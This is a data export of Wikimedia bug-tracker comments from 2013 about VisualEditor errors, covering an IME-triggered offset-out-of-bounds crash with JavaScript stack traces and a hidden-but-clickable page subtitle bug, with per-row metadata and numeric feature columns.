ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload
proxy
ve.init.mw.ViewPageTarget.onBeforeUnload"
247518,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME","Editable content in Read mode

Further, after everything stated in Comment 1 has happened, if VE editing is canceled and the js prompt about losing unsaved changes is confirmed, the second error still continues. The tab is set to Read instead of Edit, however the content is still editable and the VE toolbar remains visible (although it doesn't seem to work).

**Attached**: {F11633}",,,1379611271,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-f3qthugptx3szx2kr56o,task_subcomment,,True,c1,3,False,,,11,,0.0,1.0,0.0,4.0,1.0,6.0,1.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,14.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,11.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.7407407407407407,"Editable content in Read mode

Further, after everything stated in Comment 1 has happened, if VE editing is canceled and the js prompt about losing unsaved changes is confirmed, the second error still continues. The tab is set to Read instead of Edit, however the content is still editable and the VE toolbar remains visible (although it doesn't seem to work).

**Attached**: {F11633}"
247514,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME",Related/similar bug: Bug 51526,,,1379610367,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-f3qthugptx3szx2kr56o,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Related/similar bug: Bug 51526
247509,"VisualEditor: ""Uncaught Error: ve.dm.Document.getNodeFromOffset(): offset 804 is out of bounds"" triggered using jquery.IME","Screenshot showing original error and changed template formatting

I've been able to reproduce this bug in the same system environment on the same test url with the following steps:

Enable ULS hi transliteration
Input a[SPACE][BACKSPACE]a

The error as specified above shows up.

Pressing a space after this brings up the following errors:

Error 1:

Uncaught TypeError: Cannot call method 'insertBefore' of null load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:239
ve.ce.BranchNode.onSplice load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:239
oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
ve.dm.BranchNode.splice load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:44
(anonymous function) load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…back%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:3
ve.dm.Document.rebuildNodes load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:107
ve.dm.DocumentSynchronizer.synchronizers.rebuild load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:117
ve.dm.DocumentSynchronizer.synchronize load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:119
ve.dm.TransactionProcessor.process load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:59
ve.dm.Document.commit load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:104
ve.dm.Surface.change load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:84
ve.ce.Surface.handleInsertion load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:282
ve.ce.Surface.onDocumentKeyPress load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:268
proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10
ve.EventSequencer.onEvent load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:19
(anonymous function) load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:18
jQuery.event.dispatch load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:45
elemData.handle.eventHandle load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:38
6

Error 2:
Uncaught Error: offset 805 out of bounds load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:150
ve.dm.ElementLinearData.getAnnotationIndexesFromOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:150
ve.dm.ElementLinearData.getAnnotationsFromOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:150
ve.ce.Surface.onContentChange load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:277
oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
ve.ce.SurfaceObserver.pollOnceInternal load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:292
ve.ce.SurfaceObserver.pollOnce load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:291
ve.ce.Surface.documentOnBlur load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:264
proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10
jQuery.event.dispatch load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:45
elemData.handle.eventHandle load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:38

File urls:
https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperimental%2Cicons-vector%7Cext.visualEditor.viewPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*
https://bits.wikimedia.org/www.mediawiki.org/load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.triggerQueueCallback%2CloadingSpinner%2CmwEmbedUtil%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z

The second error keeps repeating. Also, changing tabs makes the count in the chrome console go up.

It also repeats each time a mouse click is done at the current caret position. It also repeats if the caret is taken to a different position in the text using the mouse or the arrow keys.

**Attached**: {F11632}",,,1379608431,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-f3qthugptx3szx2kr56o,task_subcomment,,True,c1,3,False,,,11,,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,6.666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,1.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.6666666666666667,5.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,4.333333333333333,0.6666666666666666,0.6666666666666666,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.0,0.0,0.0,14.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,5.666666666666667,1.0,11.666666666666666,0.3333333333333333,0.6666666666666666,6.666666666666667,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,1.0,5.666666666666667,16.0,0.0,0.6666666666666666,0.0,1.0,0.0,0.0,1.0,0.0,2.6666666666666665,0.0,0.0,0.3333333333333333,20.506905561776783,0.6710712952594252,"Screenshot showing original error and changed template formatting

I've been able to reproduce this bug in the same system environment on the same test url with the following steps:

Enable ULS hi transliteration
Input a[SPACE][BACKSPACE]a

The error as specified above shows up.

Pressing a space after this brings up the following errors:

Error 1:

Uncaught TypeError: Cannot call method 'insertBefore' of null load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:239
ve.ce.BranchNode.onSplice load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:239
oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
ve.dm.BranchNode.splice load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:44
(anonymous function) load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…back%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:3
ve.dm.Document.rebuildNodes load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:107
ve.dm.DocumentSynchronizer.synchronizers.rebuild load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:117
ve.dm.DocumentSynchronizer.synchronize load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:119
ve.dm.TransactionProcessor.process load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:59
ve.dm.Document.commit load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:104
ve.dm.Surface.change load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:84
ve.ce.Surface.handleInsertion load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:282
ve.ce.Surface.onDocumentKeyPress load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:268
proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10
ve.EventSequencer.onEvent load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:19
(anonymous function) load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…wPageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:18
jQuery.event.dispatch load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:45
elemData.handle.eventHandle load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:38
6

Error 2:
Uncaught Error: offset 805 out of bounds load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:150
ve.dm.ElementLinearData.getAnnotationIndexesFromOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:150
ve.dm.ElementLinearData.getAnnotationsFromOffset load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:150
ve.ce.Surface.onContentChange load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:277
oo.EventEmitter.emit load.php?debug=false&lang=hi&modules=ext.visualEditor.base%2Cmediawiki%2Cvi…ck%7Coojs%7Cunicodejs.wordbreak&skin=vector&version=20130919T025548Z&*:139
ve.ce.SurfaceObserver.pollOnceInternal load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:292
ve.ce.SurfaceObserver.pollOnce load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:291
ve.ce.Surface.documentOnBlur load.php?debug=false&lang=hi&modules=ext.visualEditor.core%2Cdata%2Cexperim…PageTarget.icons-vector%7Crangy&skin=vector&version=20130919T025548Z&*:264
proxy load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:10
jQuery.event.dispatch load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:45
elemData.handle.eventHandle load.php?debug=false&lang=hi&modules=jquery%2Cmediawiki%2CSpinner%7Cjquery.…l%7Cmw.MwEmbedSupport&only=scripts&skin=vector&version=20130912T173512Z:38

File urls:
URL
URL

The second error keeps repeating. Also, changing tabs makes the count in the chrome console go up.

It also repeats each time a mouse click is done at the current caret position. It also repeats if the caret is taken to a different position in the text using the mouse or the arrow keys.

**Attached**: {F11632}"
56325,VisualEditor: Oldid pages' links to other versions in the page strapline (#contentSub) get hidden but are still there,"I am trying to VEdit https://en.wikipedia.org/w/index.php?title=User:Elitre_%28WMF%29/Sandbox&oldid=573480590&veaction=edit , which is a blank version of my sandbox. There's a lot of white space between the title of the page and the point where I can start adding text, and although the source editor says the page is really empty, looks like there's still something there.

If I hover with the mouse right below the comma in the tagline ""Wikipedia, the free encyclopedia"", the cursor changes as if there's an invisible link.
1) Right under the comma, the ""link"" points to my userpage (it's clickable, and the page will open in the same tab);
2) some pixels below, the link will point to [[Help:Page History]];
3) going further down, it points to a diff of the sandbox.
There are other points in the page which trigger the links, but the page history one is not easy to spot.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52243
https://bugzilla.wikimedia.org/show_bug.cgi?id=58063",Medium,50.0,1379602440,1389633364.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-5eekrsnuh3slhfvi2vl5,task_description,resolved,True,c1,3,False,False,False,11,,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,4.333333333333333,1.0,0.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,1.3333333333333333,1.6666666666666667,0.0,4.333333333333333,7.666666666666667,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,6.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,13.333333333333334,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,8.333333333333334,2.0,7.333333333333333,1.3333333333333333,1.3333333333333333,9.333333333333334,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.0,2.3333333333333335,7.666666666666667,1.0,0.0,1.3333333333333333,0.0,2.3333333333333335,0.0,1.0,1.3333333333333333,0.0,1.0,0.0,0.0,1.6666666666666667,3.3898017736045905,0.6694705268648931,"I am trying to VEdit URL , which is a blank version of my sandbox. There's a lot of white space between the title of the page and the point where I can start adding text, and although the source editor says the page is really empty, looks like there's still something there.

If I hover with the mouse right below the comma in the tagline ""Wikipedia, the free encyclopedia"", the cursor changes as if there's an invisible link.
1) Right under the comma, the ""link"" points to my userpage (it's clickable, and the page will open in the same tab);
2) some pixels below, the link will point to [[Help:Page History]];
3) going further down, it points to a diff of the sandbox.
There are other points in the page which trigger the links, but the page history one is not easy to spot.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL
URL"
247219,VisualEditor: Oldid pages' links to other versions in the page strapline (#contentSub) get hidden but are still there,"Change 107133 merged by jenkins-bot:
Hide #contentSub properly

https://gerrit.wikimedia.org/r/107133",,,1389633324,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-5eekrsnuh3slhfvi2vl5,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.533333333333333,1.0,"Change 107133 merged by jenkins-bot:
Hide #contentSub properly

GERRIT_URL"
247217,VisualEditor: Oldid pages' links to other versions in the page strapline (#contentSub) get hidden but are still there,"Change 107133 had a related patch set uploaded by Jforrester:
Hide #contentSub properly

https://gerrit.wikimedia.org/r/107133",,,1389626449,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-5eekrsnuh3slhfvi2vl5,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 107133 had a related patch set uploaded by Jforrester:
Hide #contentSub properly

GERRIT_URL"
247214,VisualEditor: Oldid pages' links to other versions in the page strapline (#contentSub) get hidden but are still there,Only partly a dupe of bug 52243.,,,1388963194,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-5eekrsnuh3slhfvi2vl5,task_subcomment,,True,c1,3,False,,,26,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Only partly a dupe of bug 52243.
247210,VisualEditor: Oldid pages' links to other versions in the page strapline (#contentSub) get hidden but are still there,"The hidden text that causes this, if selected and copy/pasted elsewhere, reads:
< User:Elitre (WMF)
This is an old revision of this page, as edited by Elitre (WMF)  (talk | contribs) at 10:57, 18 September 2013. It may differ  significantly from the current revision.
Revision as of 10:57, 18 September 2013 by Elitre (WMF)  (talk | contribs)

This is reported as being common also in articles.
Thanks.",,,1379667965,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-5eekrsnuh3slhfvi2vl5,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,1.0,0.0,4.0,2.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,10.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,3.0,15.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,1.0,11.0,8.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.4444444444444446,0.5959595959595959,"The hidden text that causes this, if selected and copy/pasted elsewhere, reads:
< User:Elitre (WMF)
